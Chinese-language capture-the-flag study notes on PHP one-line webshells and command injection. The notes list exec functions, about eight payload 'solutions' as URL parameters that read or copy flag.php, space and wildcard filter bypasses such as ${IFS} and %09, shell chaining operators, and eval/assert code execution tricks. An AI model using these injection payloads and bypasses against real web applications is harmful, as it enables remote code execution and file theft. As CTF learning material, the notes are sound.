一句话木马相关命令执行

  • 语句
    • system()
      • 执行外部程序(命令行)并返回命令输出的第一行为字符串.
      • 失败返回 false,如果没有找到命令返回空字符串.
    • passthru()
    • 与 system()不同,passthru()直接把命令执行的结果输出到标准输出,而不返回.
    • shell_exec()
      • 返回输出第一行的内容,无回显.需要反弹 shell 使用.
    • exec()
      • 不回显,返回命令执行的结果.
    • ``
      • 在 php 中,反引号"`”是可以执行系统命令的.
      • 反引号和 shell_exec()等价
  • 命令执行
    • 解法
      • 解法1:passthru
        • ?c=passthru(“tac%20fla*”);
    • 解法2:绕过*号
      • 假如*号被过滤了,我们可以通过?c=passthru(“ls”);
      • 先获取flag.php是目标,然后再通过?来匹配单个字母,也就是fla???匹配flag.php
      • ?c=passthru(“tac%20fla???”);
    • 解法3:反字节符配合echo
      • ?c=echo(ls);
      • ?c=echo%20tac%20fla*;
    • 解法4:带参数输入
      • ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
      • 1参数逃逸,不属于c,可以使用被ban内容
      • web31
    • 解法5:exec
      • echo%20exec(“cat%20f\lag.p\hp”);
    • 解法6:system
      • ?c=system(“tac%20fla*”);
    • 解法7:利用cp或mv命令将flag拷贝到别处
      • ?c=system(“cp%20fl*g.php%20a.txt%20”);
      • 然后浏览器访问a.txt,读取即可
      • eg. web30
    • 解法8:万能
      • ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
      • ?c=eval(array_pop(next(get_defined_vars())));
    • 如果;被ban,php代码最后一行可以不用; 然后换成?>就行了
    • 如果php被ban,可以用短标签
  • 对小数点的限制可以使用通配符*或者占位符?来绕过
  • preg_match是正则匹配
  • /i : 忽略大小写
  • 过滤空格,flag:cat$IFSls
  • 绕过空格过滤:
    • ${IFS}$9
    • {IFS}
    • $IFS
    • ${IFS}
    • IFS
    • <
    • <>
    • {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
    • %09 (tab)
    • X=$‘cat\x09./flag.php’;$X (\x09表示tab,也可以用\x20)
    • /?ip=127.0.0.1;a=g;cat$IFS1fla1flaa.php
  • windows 或 linux 下:
    • command1 && command2 先执行 command1,如果为真,再执行 command2
    • command1 | command2 只执行 command2
    • command1 & command2 先执行 command2 后执行 command1
    • command1 || command2 先执行 command1,如果为假,再执行 command2
    • 命令执行漏洞(| || & && 称为 管道符)

代码执行

  • isset()
    • 函数返回一个布尔值,如果变量存在且不包含NULL值,则返回TRUE,否则返回FALSE。
  • eval()
    • 代码执行函数,把输入的字符串当作 php 代码执行.
    • 可以 eval(?>[text] <?[p]),也就是用标签声明一段 php代码结束后再声明下一段代码开始
    • 在函数输入的结尾需要打分号,否则会报 unexpected ending
  • assert()
    • 断言函数 assert(),在 RCE 中可以简单的认为它等同于 eval()
  • preg_match()
    • 如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。
  • preg_replace()
    • 函数执行一个正则表达式的搜索和替换
  • ${}
    • 如果出现在字符串里就会被解析,并执行其中的 php 代码
    • ${}本是用于在字符串中嵌入变量和执行表达式的